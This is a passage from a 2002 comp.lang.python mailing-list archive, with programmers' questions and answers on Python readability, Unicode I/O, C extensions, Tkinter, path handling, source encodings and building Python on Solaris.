programmers. > > > Exactly. You can write bad code in any language. On the other hand, > you can write really good, robust, readable, maintainable code in Perl. > > Programming is about 99% concepts and 1% syntax, if that much even. A > poorly written Python program that can be easily read is still poorly > written. More out of curiosity than an intention of starting a flame war, but would someone post a snippet of twenty or so lines of Perl which they believe is "readable"? I've been looking at Ruby code in another group, and I can only assume that Ruby is considered even by Perl programmers to be more readable and "clean" than Perl. I find it significantly less readable than Python however, so I would find the claim that Perl can be very readable to be a stretch. (Note, however, I agree with the comments above... but we were talking about readability, not good/bad code. I believe even good Perl is much less readable than moderately bad Python, thus limiting its effectiveness as a language for large programs, even in the hands of excellent programmers.) -wait,-did-i-say-i-wasn't-starting-a-flame-war-ly yr's, Peter From martin at v.loewis.de Fri May 17 02:58:03 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 17 May 2002 08:58:03 +0200 Subject: Unicode File I/O Grief References: Message-ID: Dale Strickland-Clark writes: > >I recommend to do > > > >codecs.open('C:\\odd.txt', 'wb', encoding="utf-8").write(ucString) > > > >or > > > >file('C:\\odd.txt', 'wb').write(ucString.encode("utf-8")) > > > > But surely these translate the string before writing it? > > I don't want it translated I want to see EXACTLY what's in there as it > stands. If, by "see", you mean "with my eyes", then the best way is to do file('C:\\odd.txt', 'wb').write(repr(ucString)) This also translates the string; there is no way to "see" the Unicode object, except perhaps by viewing the computer's hardware under an electron microscope... Regards, Martin From bh at intevation.de Thu May 23 06:47:47 2002 From: bh at intevation.de (Bernhard Herzog) Date: 23 May 2002 12:47:47 +0200 Subject: Why does Python mix OO concepts and non OO concepts for operations on basic types? References: Message-ID: <6qznyrm97w.fsf@abnoba.intevation.de> "Terry Reedy" writes: > Before 2.2, (1,2,3).len() was not possible. What does that have to do with 2.2? If the implementers had wanted it, tuples could have methods in earlier versions as well. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From "aglyport\" at n-o.s,p/a__m.yahoo.com> Fri May 17 18:19:48 2002 From: "aglyport\" at n-o.s,p/a__m.yahoo.com> (Anton Graph) Date: Fri, 17 May 2002 15:19:48 -0700 Subject: Initializing PyObject_HEAD in place References: Message-ID: Anton Graph wrote: > I have a class derived from PyObject: > > class MetaFld : public PyObject /* python header: ref. counter + > &typeobject */ { > friend class MCI; > MetaFld *next; > protected: > long n_id; // for(fldnum=recnum-10000;;++fldnum) n_id = fldnum; > ...... > > > The initialization in constructor > > MetaFld::MetaFld(MetaRec *owner, const char *name, const char *type, > const char *field_name_postfix) > : PyObject(&metafldtype), ....... > > worked like that before (last time I compile this which was 3 years ago > ot so). Not sure how, but it did. Well, today it did not. Maybe someone > upgraded Python to 1.4 in that time period. > So, my question is how would I inittialize PyObject struct (the base of > my class) in the constructor or my class? I need something like > _PyObject_New() as defined for core dll in windows, that is with > allocated space passed as a second parameter. > > I'm using Python 1.4 on SCO OpenServer and would rather not upgrade to > latest and greatest (2.2.1?) unless there is a pressing need for that. > > I've checked the tutorial and took a brief look at FAQ: this does not > seem to be covered. > > Thank you! > Nevermind, I figured I was using Cameau C++ instead of SCO C++ back then. From rdsteph at earthlink.net Sun May 19 08:01:50 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Sun, 19 May 2002 12:01:50 GMT Subject: Ruby for Newbie?! References: Message-ID: <3CE75BE4.6000606@earthlink.net> Well, I also was seduced by Ruby. It is an attractive language. But I came back to Python. I do not think Ruby equivalents to all of the tools you list exist yet. Ruby is newer, less well established, and with a smaller user base than Python. While I would never say anything bad about Ruby, here are some reasons why I came running back to Python. 1. More and better tools. For instance, I don't beleive there are any Ruby equivalents for the many Pythonic gui-painters (Boa, Pythware, Black Adder etc) I chose Black Adder, but Boa is nice and free.. 2. More mature library set for Python 3. While Ruby's object orieinted make up is very attractive in its consistency and polish, upon closer contemplation, Python's structurer seems to me to be more practical, elegant, and efficient. Your mileage may vary... 4. Ruby is extremely immature on Windows. This is the closest I will come to a negative statement. Investigate for yourself, but there may be dragons hiding herein. 5. Python is generally more widely ported. In my case, really good ports of Python to PDA's such as the new Sharp Zaurus are of great interest. 6. Active Python communities exist for many of the ports, including the newer ones. 7. The Python community is incomaparable. Hey, I like the Ruby community and have coresponded with some of them and occasianally get involved in thrreads on comp.lang.ruby...but the Python communnity is incomparable. 8. Python is better documented, although Ruby is improving in this area, but the 25+ excellent Pythonic online tutorials alone constitute a priceless resource. 9. On balance, Python is more fun, more effective, and my choice. 10. Have fun no mattter your choice! ;-)))) Ron Stephens Python City http://www.awaretek.com From jdhunter at nitace.bsd.uchicago.edu Mon May 20 17:43:58 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Mon, 20 May 2002 16:43:58 -0500 Subject: Parsing a text file for information References: Message-ID: >>>>> "Colin" == Colin Meeks writes: Colin> I don't suppose someone knows of a handy reference that Colin> includes a stack of samples for real programming Colin> problems. i.e. extracting URLS from a document, removing Colin> duplicate lines, removing comments from source code, Colin> etc. that kind of thing. I think if I had such a reference Colin> it would be a lot easier to come to grips with regular Colin> expressions. http://aspn.activestate.com/ASPN/Python/Cookbook/ Soon to be available at a bookstore near you.... John Hunter From anton at vredegoor.doge.nl Mon May 13 05:18:05 2002 From: anton at vredegoor.doge.nl (Anton Vredegoor) Date: Mon, 13 May 2002 11:18:05 +0200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> Message-ID: On Mon, 13 May 2002 01:33:54 -0600, "Andrew Dalke" wrote: >That's not to say that Python isn't colorful or has its own set of >alternatives. But the Python way isn't "There's More Than One Way >To Do It" nor the opposite of "There's one and only one way to do it" >but instead is "There should be one -- and preferably only one -- >obvious way to do it." Those "preferably" and "obvious" qualifiers >are important. Sometimes when programming numerical python or three D models there goes a lot of thinking inside very few lines of code. As an example there's a program for visual python below that draws a colored cube. It was originally a lot longer before I condensed it into this simpler form. I suspect if all this simplifying and condensing would go on the result would be the ultimate program of length zero. Anton. #cube.py for visual python, by Anton Vredegoor # (anton at vredegoor.doge.nl) may 2002 """ This program draws a 3d cube with colored sides.To rotate the cube press the right-mouse button and move the mouse. To resize the cube press the middle mouse button and move the mouse in the up-down direction.The cube is drawn side after side, each side is drawn by drawing two triangles. Cornerpoints are identified by numbers and unranked to lists of 3 items which represent coordinates in xyz dimensions. """ from visual import * def unrank(id): res = [1] * 3 for i in range(2,-1,-1): if id & 1 : res[i] *= -1 id >>= 1 return res def drawside(idlist,clr): faces(pos=[unrank(id) for id in idlist], color=clr, frame=f, normal=unrank(0)) def test(): global f f = frame() #Colordata in rgb fractions. The six colors below have the #follwowing order: orange,red,yellow,green,white,blue colors = [[1.0,0.5,0.0], [0.75,0.0,0.0], [1.0,0.9,0.0], [0.0,0.70,0.0], [0.95,0.95,0.95], [0.0,0.0,0.75]] #For each side two triangles are drawn from six corner #point id's. The six sides are drawn in this order: right, #left,front,back,top,bottom idlists = [[1,2,3,0,2,1],[5,6,4,7,6,5], [0,6,2,4,6,0], [3,5,1,7,5,3], [1,4,0,5,4,1], [3,6,7,2,6,3]] for idlist, color in map(None,idlists,colors): drawside(idlist,color) if __name__=='__main__': test() From mlh at vier.idi.ntnu.no Sat May 11 14:50:59 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 May 2002 18:50:59 +0000 (UTC) Subject: path.startswith(dir)? References: <%tcD8.47814$zW3.603397@news1.tin.it> Message-ID: In article <%tcD8.47814$zW3.603397 at news1.tin.it>, Alex Martelli wrote: [snip] >I'd be a happier man if "from bletch import *" just magically disappeared, >and so would other Pythonistas, including those who'd most rant and >rave about how indispensable it truly is (i.e., those most addicted to its >[ab]use). Each time you get the urge to code "from bah import *", think >again. You're better off not doing it. Really. Look -- I haven't really used it here; I just didn't bother spelling out all the names I imported (e.g. commonprefix, abspath, join, etc.) And, actually, I don't mind using it in the cases where the modules have been designed to be "import safe". (But no, I wouldn't use a starred import of os.path.) >Alex -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From kragen at pobox.com Fri May 17 02:51:16 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 02:51:16 -0400 Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> <3CE026E9.DAB30A8F@jpl.nasa.gov> Message-ID: <83it5nxo63.fsf@panacea.canonical.org> Julia Bell writes: > My initial reaction is that I don't know I exactly how many lines frm the > bottom I want. import os backwardsfile = os.popen("tac %s" % filename) while 1: line = backwardsfile.readline() if line == '': break # do whatever From sholden at holdenweb.com Fri May 10 13:46:50 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 13:46:50 -0400 Subject: get/set References: <20020510192720.0823ed15.wilk@flibuste.net> Message-ID: "William Dode" wrote in message news:20020510192720.0823ed15.wilk at flibuste.net... > Le Fri, 10 May 2002 12:03:53 -0500 > "Mark McEahern" ?crivait: > [property explanation] > it means that if i want to keep working with python 2.1 i need to use my > own get/set method ? > [property code] Not at all: the bahavior Mark explains is only implemented when the class derives from "object" - a so-called "new-style" class. If there is no such derivaqtion ("classic" classes) then the behavior is just as it's always been. The advantage is that one can create ones own subclasses of the built-in types from 2.2 onwards. regareds Steve From sayles at cpsc.ucalgary.ca Mon May 27 16:42:37 2002 From: sayles at cpsc.ucalgary.ca (Maxwell Todd Sayles) Date: Mon, 27 May 2002 14:42:37 -0600 Subject: returning a python array from a C extension Message-ID: <3CF29A3D.5EF81E74@cpsc.ucalgary.ca> in python i can write: from array import * a = array ('B', 'some test data') and a refers to an array object. now i have a C extension for python that returns a PyString, and within python i can convert it to an array e.g.: from array import * from MyCExtension import * a = array ('B', cfunction()) but this method requires an extra copy and construction from the string to the array. is there a way i can have cfunction return a python array? i tried looking through the include files with the Python/C API and couldn't find anything. any help would be appreciated. Thanks, Maxwell Sayles From m.laranjeira at datacraft.com.br Wed May 29 09:39:41 2002 From: m.laranjeira at datacraft.com.br (Marcus Laranjeira) Date: Wed, 29 May 2002 10:39:41 -0300 Subject: For the newbies Message-ID: <67F0CEAF5F0ED411B53900508BC5C8BC70014E@admin.datacraft.com.br> NO NEED TO REPLY ! INFORMATIVE: How To Think Like a Computer Scientist - Learning With Python http://www.ibiblio.org/obp/thinkCSpy/index.htm This is a book written under the GNU Free Document License which can be read online or downloaded (tex version)... It worth reading for anyone, specially the newbies and other whoose are not studying (or graduated) in computer science ! (sorry about my english!) Enjoy the book ! Marcus Vinicius Laranjeira MON Center Datacraft do Brasil - (http://www.datacraft.com.br) R. Tenente Negr?o, 140 - 8o. Andar Itaim Bibi - S?o Paulo - SP - 04530-030 Tel: +55-11-3053-0241 Fax: +55-11-3053-0220 -------------- next part -------------- An HTML attachment was scrubbed... URL: From Chris.Barker at noaa.gov Thu May 16 15:24:11 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Thu, 16 May 2002 12:24:11 -0700 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Message-ID: <3CE4075A.CBC21AD@noaa.gov> I've followed this whole thread, and I wonder if a few things have been missed: Siegfried Gonzi wrote: > I have a calculation (external C function included with the help of > SWIG; external Fortran function included with the help of F2PY; I highly suspect that your memory leak is in your C or Fortran functions. Python DOES NOT handle memory mangement for extenal functions. If your C or Fortran functions create Python objects and don't DECREF them properly, you can create a memory leak there. I have had that problem. It is pretty easy to test for. before and after calling your functions, do a memory use check. You could do this by hand by putting a input() statement or something in to halt the code, or you can write a little function that makes a system call to check how much memory Python is using. I have dsone this on Linux, I have no idea how on Windows. > If I start the > calculation for a third time I have to see that Python wreaks havoc. When you say start the third time, have you completely shut down Python itself and started it again, rather than running a function from the python command line for the third time, in a single Python session. If you are starting a fresh Python, than your problem is definately the OS, not Python, and I have never had a problem like this on Linux. By the way, on linux, you can set a memory limit on a user with the ulimit -m command (in BASH anyway). This can be pretty handy when you are dealing with a runaway memory problem, because once you get to a lot of swap, you won't crash the system, but it will be very unresponsive. > I need some advice for my further strategy (I am about to write my > simulations in Fortran 90/95 and use Python only for simple plotting > jobs): You really do want to look into using Numeric. It takes a little getting used to, but it is much faster and more memory efficient for large arrays of numbers, Also, once you get used to it, it is also cleaner, easier to understand code. > def f(list,list2): > > erg = [] > > for k in range( len(list) ): > > erg.append( function_on_list2( list2[j] ) ) > > return erg In Numeric, this would be something like: result = function_on_array(list2(:len(list))) Do you really think that is less clear? Besides clarity, there is less room for error. in teh above example, you accidentally used j rather than k in the inner loop. You would probably have caught that on testing, but maybe not right away! Send a real function to this list or the Numeric list, and someone will Numericise it for you so you can have a ggod example. By the way, Fortran90/95 also has array operations, you should be sure to use them if you go that route. -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From zayats at red.seas.upenn.edu Tue May 21 11:07:10 2002 From: zayats at red.seas.upenn.edu (Salim Zayat) Date: 21 May 2002 15:07:10 GMT Subject: Text Widget size Message-ID: Hey all. What's up? I have a quick question about the Tkinter Text widget. If I have a string of text inserted, is there a way to change the size of the Text widget to fit it perfectly, i.e. changing the height and width to display all the lines of Text that are there and not have any extra lines? Salim From gdemmy at layton-graphics.com Thu May 2 13:30:40 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 02 May 2002 13:30:40 -0400 Subject: Unpacking a python list in C? References: <3CD16F64.F2146F70@wag.caltech.edu> Message-ID: "Richard P. Muller" writes: > I need some help with extending python in C. I want to call a function > of a list from python: > > answer = my_function(my_list) > > where my_function is a function, and my_list is a python list of floats. > I want my_function to be a C function, and want to extract my_list into > an integer length and a double * pointing to the values. I spent some > time searching through the extension guide in the docs, but either this > isn't there or I missed the section in which it is discussed. I also > flipped through a few of my python books without luck. > > Could some kind soul take pity on me and tell me how to do this? Thanks > in advance... > > Rick > -- > Richard P. Muller, Ph.D. > rpm at wag.caltech.edu > http://www.wag.caltech.edu/home/rpm I was just thrashing around with something similar... foomodule.c: #include "Python.h" /* Return product of three numbers in a list or tuple */ static PyObject * foo_bar(PyObject *self, PyObject *args) { double x,y,z; if (!PyArg_ParseTuple(args, "(ddd)", &x, &y, &z)) return NULL; return Py_BuildValue("d", x * y * z); } static PyMethodDef foo_methods[] = { { "bar", foo_bar, METH_VARARGS, "bar" }, { NULL, NULL, 0, NULL } }; void initfoo(void) { (void) Py_InitModule("foo", foo_methods); } compile shared object (Makefile notation): CC = gcc INC = -I/usr/local/src/Python-2.2/Include/ -I/usr/local/src/Python-2.2/ OPTS = -shared -Xlinker -export-dynamic -fPIC $(CC) $(INC) $(OPTS) -o foomodule.so foomodule.o Python (foo module in current dir or otherwise in PYTHONPATH): > import foo > foo.([1,2,3]) 6.0 > Sources for the whys and wherefores of the above http://www.python.org/doc/ Extending and Embedding the Python Interpreter, Rel 2.2.1 GvR and FLD, Jr. Python/C API Reference Manual, Rel 2.2.1 GvR and FLD, Jr. This example is limited to tuples and lists containing exactly 3 numbers elements. However, it is a working example and should be enough to get you playing around with something. G From sigvald at binet.is Wed May 15 07:23:22 2002 From: sigvald at binet.is (Sigvaldi Eggertsson) Date: 15 May 2002 04:23:22 -0700 Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> Message-ID: <70d8ab2e.0205150323.6c111961@posting.google.com> "Emile van Sebille" wrote in message news:... >> Philip Williams, of ABC news, called English "... a language that > invades foreign lands quicker than foot-and-mouth" and the French > Ministry of Education says to its students "Choose another language -- > Dutch, Italian, German, Icelandic, Congolese, anything but English." > Or, do like the French, and regularly expunge 'profanities' from the > official language, not that anybody regularly *speaks* the official > language. Or like Iceland, which rightly sets the blame at Bill Gates' > doorstep. ;-) > http://seattletimes.nwsource.com/news/technology/html98/icel_063098.html When the article was published it was already out of date, Microsoft put out an Icelandic version of Windows 98 just after this was written. From theller at python.net Mon May 6 14:05:00 2002 From: theller at python.net (Thomas Heller) Date: Mon, 6 May 2002 20:05:00 +0200 Subject: SciPy won't install (Win98) References: <9uwB8.105409$Lj.7956538@bin4.nnrp.aus1.giganews.com> Message-ID: Please ignore what I wrote before about Python 2.3, I was mislead by the filename for the weave installation. 1. If you use my cookbook recipe, you should feed it with *source* distribution (which is usually a zip or tar.gz file). You cannot use it with a windows (exe) installer. 2. The scipy people distribute (and this is probably what you downloaded) a windows installer built with Python 2.1. This installer (since it probably contains binary extensions) can only use a Python 2.1 installation. 3. So you can either - install Python 2.1 (which will normally coexist with Python 2.2 on the same machine), and use scipy in 2.1 - or use the source distribution, and compile it yourself. HTH, Thomas From whisper at oz.net Thu May 23 12:54:53 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 09:54:53 -0700 Subject: os.path.join() necessary? In-Reply-To: <3CECFCF3.2010207@thomas-guettler.de> Message-ID: Actually, Windows accepts "/" virtually everywhere except on the command line. Even in Visual C++, it's easier to use "/" then "\" since you have to escape all the backslashes since C/C++ is sensitive to them. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Thomas Guettler > Sent: Thursday, May 23, 2002 7:30 > To: python-list at python.org > Subject: Re: os.path.join() necessary? > > > Michael Chermside wrote: > > > I think it would be a nice feature of a programming language that all > > file-and-path names are expressed using '/' within the language and > > automatically converted to the platform-appropriate format by the > > language itself (and paths obtained from the OS are converted to '/' > > format also). Unfortunately, as far as I know, Python is not that > > language. I *think* (someone more knowledgable please correct me if I'm > > wrong) that "wierd" OSes like VMS (and there's MUCH wierder stuff out > > there) don't do this conversion. Unix & friends don't need it, Windows > > DOES do the conversion, and I don't know about Macs. But for TRUE > > portability, I believe you still have to deal with os.path.join(). > > > I was suprised that I can use (dir + '/' + file) on windows. > Since my application will only run on windows and unix I won't > use os.path.join() > > > If you just want to join a directory and a file it is no problem, > but I store paths in a database. This would mean I would have to > transform the path to the current operating system each time I get > it from the database. > > thomas > > > > -- > http://mail.python.org/mailman/listinfo/python-list From cddlens at yahoo.com Sun May 19 21:40:27 2002 From: cddlens at yahoo.com (cddlens at yahoo.com) Date: Sun, 19 May 2002 18:40:27 -0700 (PDT) Subject: Python Usage Message-ID: <20020520014027.26036.qmail@web21306.mail.yahoo.com> I'm currently investigating Python for potential company adoption, and it seems to be quite powerful. I have some fundamental questions however: Is Python commonly used throughout an enterprise (such as within IT, MIS) for script generation, or mostly by software groups and teams that have dedicated programmers writing full-blown applications? Is often used by system managers as a replacement for batch files or multiplatform scripting? Is it more common within software/technology organizations or within other sectors such as financial and manufacturing? Any information or comments would be greatly appreciated! Thanks! __________________________________________________ Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience http://launch.yahoo.com From peter at engcorp.com Wed May 29 23:07:51 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 29 May 2002 23:07:51 -0400 Subject: Why no open(f, "w").write()? References: <200205291422.45264.gherron@islandtraining.com> <200205291643.08915.gherron@islandtraining.com> Message-ID: <3CF59787.C15D7DC3@engcorp.com> Fran?ois Pinard wrote: > > [Gary Herron] > > > Here's the quote from the Reference Manual: [...] > > Yes, I'm well aware of this quote. :-) > > > I think we can agree that it must be considered "bad programming practice" > > to depend on features which the manual claims may not exist, past, > > present, or future. > > I heartedly agree that it is bad practice not keeping oneself between the > tracks set by specifications. Without really knowing, I imagine that the > said quote might be a politeness from Guido towards other implementations, > encouraging them, so they could claim being called Python nevertheless. > I wonder if the quote has been there since the beginnings of Python. :-) It's been there since at least February 1999, which unfortunately for debunking or confirming this theory, does not predate JPython... http://web.archive.org/web/19990203001201/http://www.python.org/doc/ref/objects.html (Strange, no earlier versions of the docs were cached by the Wayback Machine...) -Peter From loewis at informatik.hu-berlin.de Sat May 11 03:46:23 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:46:23 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings In-Reply-To: References: Message-ID: "David LeBlanc" writes: > To define a source code encoding, a magic comment must > be placed into the source files either as first or second > line in the file: > > #!/usr/bin/python > # -*- coding: -*- > > > why not use something like: > > #!/usr/bin/python > # What is the advantage of this notation? The advantage of the above notation is that existing editors already recognize it. Compared to your proposal, it has also the advantage that it is easier to type. > More generally, "utf-8" would be replaced by one of a list of acceptable > encoding names in the same way as currently envisioned by the PEP authors > (whatever that is - I didn't see it mentioned in the PEP). Any encoding is acceptable for which a codec is installed. For best portability, you need to restrict yourself to the encodings supported in your target Python release. > I think it has the very positive benefit of using what has rapidly > become a very familiar idiom Can you cite other examples of using invalid XML in programming language comments? > Do we really need yet _another_ notation? Precisely my question. Regards, Martin From ianb at colorstudy.com Thu May 9 02:13:16 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 09 May 2002 01:13:16 -0500 Subject: Python Enterprise Objects In-Reply-To: References: Message-ID: <1020924796.474.68.camel@localhost> On Thu, 2002-05-09 at 00:34, Christopher Browne wrote: > More seriously, it tends to involve tighter integration between the > language environment and "database stuff" so that when you invoke > methods, they are rather more likely to be tied to objects that are > persistent even against fairly severe failure. So, J2EE is sort of an object-relational mapper? Or a framework for creating such a mapper? I.e., a middleware-creation-toolkit? Ian From peter at engcorp.com Thu May 9 08:26:36 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 08:26:36 -0400 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <3CDA056B.E213A4A3@engcorp.com> Message-ID: <3CDA6AFC.5B970E88@engcorp.com> Philip Swartzleonard wrote: > > Peter Hansen || Wed 08 May 2002 10:13:15p: > > > Bryan Richard wrote: > >> My thinking has always been that Py, and subsequently, Python, would > >> reach more people if it were in a bookstore. Perhaps I'm wrong. > > > > Maybe negotiate to make it an insert in some reputable existing > > journal? > > This isn't really an area i'm familair with, but aren't most techny > publications reputible enough to call themselves journals the things that > genereally only come with a 100+$/yr membership in some org? Probably true. I'm not always careful with words. In this case, I had in mind things like Software Development, Dr. Dobbs, the Linux Journal... From paul at boddie.net Thu May 2 09:32:24 2002 From: paul at boddie.net (Paul Boddie) Date: 2 May 2002 06:32:24 -0700 Subject: Editing Zope Page Templates with Amaya Message-ID: <23891c90.0205020532.49a6323c@posting.google.com> I know that this is more of a Zope question, but then people probably do use ZPT outside Zope. Anyway, has anyone had any success with editing ZPT templates with the Amaya HTML/XHTML/XML editor? The ZPT FAQ [1] states the following: """ Q8: What HTML editors work well with ZPT? We are still compiling a list, but on the commercial (industrial strength) front, GoLive and Dreamweaver 4 work well with ZPT. Recent versions of Amaya work well in HTML mode. """ Having tried Amaya 6.2 (the very latest) with a test document, it really looks like Amaya doesn't handle extra namespaces well at all, firstly spotting the extra (namespace prefix qualified) attributes and complaining, and secondly converting them to invalid XHTML attributes (ie. attributes in the default namespace) which are then stripped when subsequently opening the file again in Amaya. Has anyone really had any success with Amaya in this domain and, if so, what exactly did you do to achieve that success? I'll accept any recipes concerning related attribute-based technologies, since I'm not exclusively concentrating on ZPT myself. Paul [1] http://www.zope.org/Wikis/DevSite/Projects/ZPT/FAQ From Julia.Bell at jpl.nasa.gov Wed May 8 10:34:23 2002 From: Julia.Bell at jpl.nasa.gov (Julia Bell) Date: Wed, 08 May 2002 07:34:23 -0700 Subject: sys.argv and while loop Message-ID: <3CD9376E.BEF43213@jpl.nasa.gov> Using Python 1.3 on an HP (UNIX) (to write my first Python script): In the following script, the while loop doesn't exit as expected if one of the variables in the conditional is assigned to equal sys.argv[1]. It works as expected if I explicitly set the variable to the number (that is entered as the argument). (stored in executable myscript.py) #!/usr/local2/bin/python import sys count = 0 orbits = sys.argv[1] while count < orbits: print count, orbits count = count + 1 if count > 100: # use this to prevent the infinite loop it gets into sys.exit ( 1 ) The command line I use is: myscript.py 16 The while loop does not exit when count becomes > 16 (until it hits the "if" statement that I included to prevent the infinite loop). If I replace the "orbits = sys.argv[1]" statement with "orbits = 16" and run the script without the argument (but still importing sys), the while loop does exit. How can I define orbits to equal the value of the command line argument and later use that variable to simply represent the number? Julia Bell From chris_mk at hotmail.com Fri May 31 19:09:15 2002 From: chris_mk at hotmail.com (Christopher) Date: 31 May 2002 16:09:15 -0700 Subject: How to concatenate list members References: <3CF6B54A.41E4E81B@engcorp.com> Message-ID: Ah yes, I do agree wholeheartedly. It was merely, as I said, the idiom from the Eckel page. On a more personal note, I use lambda very, very rarely (I had problems with it when I was learning Python and, while I've got it now, I'm still a bit gun-shy). I think that the whole idea was supposed to be a kind of mini-lesson in Python (Eckel states that when you figure out why it works, you'll get a warm feeling all over {so this is obviously for beginners}). Thanks. Chris Peter Hansen wrote in message news:<3CF6B54A.41E4E81B at engcorp.com>... > Christopher wrote: > > ...http://www.mindview.net/Books/Python/ThinkingInPython.html... > > has a section on the page called "An idiom > > for concatenating strings" which looks like: > > > > cs = lambda *args: ''.join(map(str,args)). > > This would probably be more readable as: > > def cs(*args): > return ''.join(map(str,args)) > > Changing the name from "cs" to "joinAsStrings" or something > would also improve the readability and maintainability. > > -Peter From usenet at horvath.com Tue May 14 10:30:40 2002 From: usenet at horvath.com (Bob Horvath) Date: Tue, 14 May 2002 09:30:40 -0500 Subject: Where is PyBison? References: Message-ID: <3CE11F90.208@horvath.com> David LeBlanc wrote: > http://www.activestate.com/PPMPackages/PyPPM/2.2/packages/ has a copy. Dunno > if it's the "latest", but it othewise seems to have become one with the > parrot. > > Having generators on the mind, I was wondering if generators would make the building of a parser easier. Hmmmm. > > >>-----Original Message----- >>From: python-list-admin at python.org >>[mailto:python-list-admin at python.org]On Behalf Of Andreas Jung >>Sent: Saturday, May 11, 2002 7:12 >>To: python-list at python.org >>Subject: Where is PyBison? >> >> >>I am looking for the latest distribution of PyBison. >>However all links are stale. Any ideas where to find a working copy? From phil at buxtech.com Wed May 1 17:59:28 2002 From: phil at buxtech.com (Phil Eschallier) Date: 01 May 2002 17:59:28 -0400 Subject: _socket on solaris References: Message-ID: <86elgvmsvz.fsf@buxtech.com> >>>>> "Fredrik" == Fredrik Lundh writes: > eli li wrote: >> When I run my program on Solaris, the next message is printed. >> >> Traceback (most recent call last): >> . . . . . . . . . . . . . . . . . . . . . File >> "/usr/local/lib/python2.2/socket.py", line 41, in ? from >> _socket import * ImportError: No module named _socket >> >> The reason is clear: file _socket is not found. Where can I >> found this library? > the _socket module is part of the standard distribution. if you > don't have it, your install/configuration is broken. > some possible reasons: > - you're picking up a pre-2.2 interpreter, but have set the > PYTHONHOME or PYTHONPATH environment variables to point to a > newer standard library. to check this, just run "python" > without any arguments, and look for the version number on the > first line. > - whoever installed python messed up, and failed to copy the > extension modules. to check this, start the interpreter and > type: >>>> import sys sys.path > look for a lib-dynload directory in the path, and check that > there's a file called _socket.so (or _socketmodule.so) in that > directory. > - if this doesn't help, rebuild/double-check/reinstall (or ask > your > local friendly system administrator for help). > Folks; I'm in no way a Python expert ... but I've been playing with it under Solaris for the last week, thinking that we should make the jump from perl (a different thread). I wanted to follow-up noting that the build process for Python under Solaris is less than perfect. I've experienced this same _socket module not being found and "yes", the build is broken. The root of the issue is that the distutils used for compiling determine the libs needed and add the -I / -L as needed. But no -R options are added. My problem came from the fact that I have OpenSSL deployed under /usr/local/ssl ... and the build process adds the -L to find ssl.so and crypt.so ... but the resulting _socket.so does not have the runtime path to the OpenSSL libs, the test load of _socket.so fails, and it is removed from the build. The same holds for TK support and one or two others. Under Linux this is a non-issues as ldconfig is available. My work-around for now is to add all the -L / -R directives I need to the CC environment variable before running the initial 'configure' script (because only hte CC and LDSHARED variables are passed from Makefile to setyp.py). I hope this helps ... and I hope that Python becomes more Solaris friendly as it matures. Cheers. -- Phil Eschallier Bux Technical Services 70 Irish Meetinghouse Rd Perkasie, PA 18944 215.249.TECH (215.249.8324) 215.249.8325 (fax) http://www.BuxTech.Com From sketerpot at chase3000.com Mon May 6 14:40:52 2002 From: sketerpot at chase3000.com (Peter Scott) Date: 6 May 2002 11:40:52 -0700 Subject: Moving things in Tkinter Message-ID: <659f82ff.0205061040.14c36c09@posting.google.com> How can you move pictures around in tkinter with a mouse? I want to make a program where there are several small icons, and by clickin and dragging with the mouse you can move them to a different location. I hve no idea how to do this in tkinter. Can any of you help me? -Peter From whisper at oz.net Thu May 23 18:51:39 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 15:51:39 -0700 Subject: Package __init__ question In-Reply-To: <200205231939.g4NJdRE15355@smtp.swissonline.ch> Message-ID: > -----Original Message----- > From: Chris Liechti [mailto:cliechti at gmx.net] > Sent: Thursday, May 23, 2002 12:39 > To: David LeBlanc > Subject: Re: Package __init__ question > > > "David LeBlanc" wrote in > news:mailman.1022178791.2145.python-list at python.org: > > > I downloaded a package - let's call it "fumble" - and when I installed > > it, it put itself into site-packages directly and not a sub-directory > > of it. Since I want to keep the site-packages directory clean, I > > created a subdirectory called fumble and copied all the fumble files > > into it. I added an empty __init__.py file and it didn't work. Only > > after I added the line "from fumble import *" to the __init__ file did > > it work. > > did't it work with an empty __init__.py but importing "fumble.fumble" ? > the import * you use is needed no get rid of the additional > hiearchy level > which you created throug you subdir. Nope - it would only work that way if I did "import fumble.fumble as fumble" and that's too much fumbling for me :o). The (demo) app using fumble expects fumble objects in the fumble namespace, not imported into the main namespace. I guess it is (semi) proper to do the "from fumble import * in the init file to get rid of the extra level of "indirection" (as it where). > > Is this the correct way that packages are meant to work? I kind of > > doubt it, but looking over the pythondoc failed to suggest any > > alternative (my solution was a lucky guess). Comments and pointers to > > good doc appreciated. > > i'm using something like that in my pyserial package. __init__.py decides > which platform its running on and imports * from a platform dependant > source file. > > chris > > > -- > Chris > So it puts the platform dependent code into the common namespace "pyserial"? I'm curious to know where I can find general information about how to build packages so that I can put "mypackage" in a "mypackage" 